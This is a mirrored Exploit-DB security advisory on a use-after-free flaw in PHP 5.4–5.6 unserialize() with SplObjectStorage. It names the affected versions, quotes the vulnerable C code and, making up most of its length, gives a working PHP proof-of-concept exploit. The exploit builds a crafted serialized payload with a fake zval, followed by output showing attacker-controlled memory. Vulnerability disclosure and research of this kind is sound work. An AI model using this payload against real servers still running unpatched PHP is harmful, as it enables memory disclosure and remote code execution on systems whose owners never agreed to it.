PHP 5.4/5.5/5.6 – SplObjectStorage ‘Unserialize()’ Use-After-Free - 体验盒子

作者： Taoguang Chen

日期： 2015-09-09

类别：

dos

平台：

php

来源：https://www.exploit-db.com/exploits/38122/

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Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage

Taoguang Chen <[@chtg](http://github.com/chtg)>

Write Date: 2015.8.27

Release Date: 2015.9.4

A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions

------------

Affected is PHP 5.6 < 5.6.13

Affected is PHP 5.5 < 5.5.29

Affected is PHP 5.4 < 5.4.45

Credits

------------

This vulnerability was disclosed by Taoguang Chen.

Description

------------

ALLOC_INIT_ZVAL(pentry);

if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) {

zval_ptr_dtor(&pentry);

goto outexcept;

}

if(Z_TYPE_P(pentry) != IS_OBJECT) {

goto outexcept;

}

ALLOC_INIT_ZVAL(pinf);

if (*p == ',') { /* new version has inf */

++p;

if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) {

zval_ptr_dtor(&pinf);

goto outexcept;

}

It has been demonstrated many times before that __wakeup() leads to

ZVAL is freed from memory. However during deserialization will still

allow to use R: or r: to set references to that already freed memory.

It is possible to use-after-free attack and execute arbitrary code

remotely.

Proof of Concept Exploit

------------

The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.

<?php

class obj {

var $ryat;

function __wakeup() {

$this->ryat = 1;

}

$fakezval = ptr2str(1122334455);

$fakezval .= ptr2str(0);

$fakezval .= "\x00\x00\x00\x00";

$fakezval .= "\x01";

$fakezval .= "\x00";

$fakezval .= "\x00\x00";

$inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}';

$exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';

$data = unserialize($exploit);

var_dump($data);

function ptr2str($ptr)

{

$out = '';

for ($i = 0; $i < 8; $i++) {

$out .= chr($ptr & 0xff);

$ptr >>= 8;

}

return $out;

}

?>

Test the PoC on the command line:

$ php uafpoc.php

array(5) {

[0]=>

int(1)

[1]=>

&int(1)

[2]=>

object(obj)#3 (1) {

["ryat"]=>

&int(1)

}

[3]=>

int(1122334455)<===so we can control the memory and create fake ZVAL :)

[4]=>

string(24) "?v?B????"

}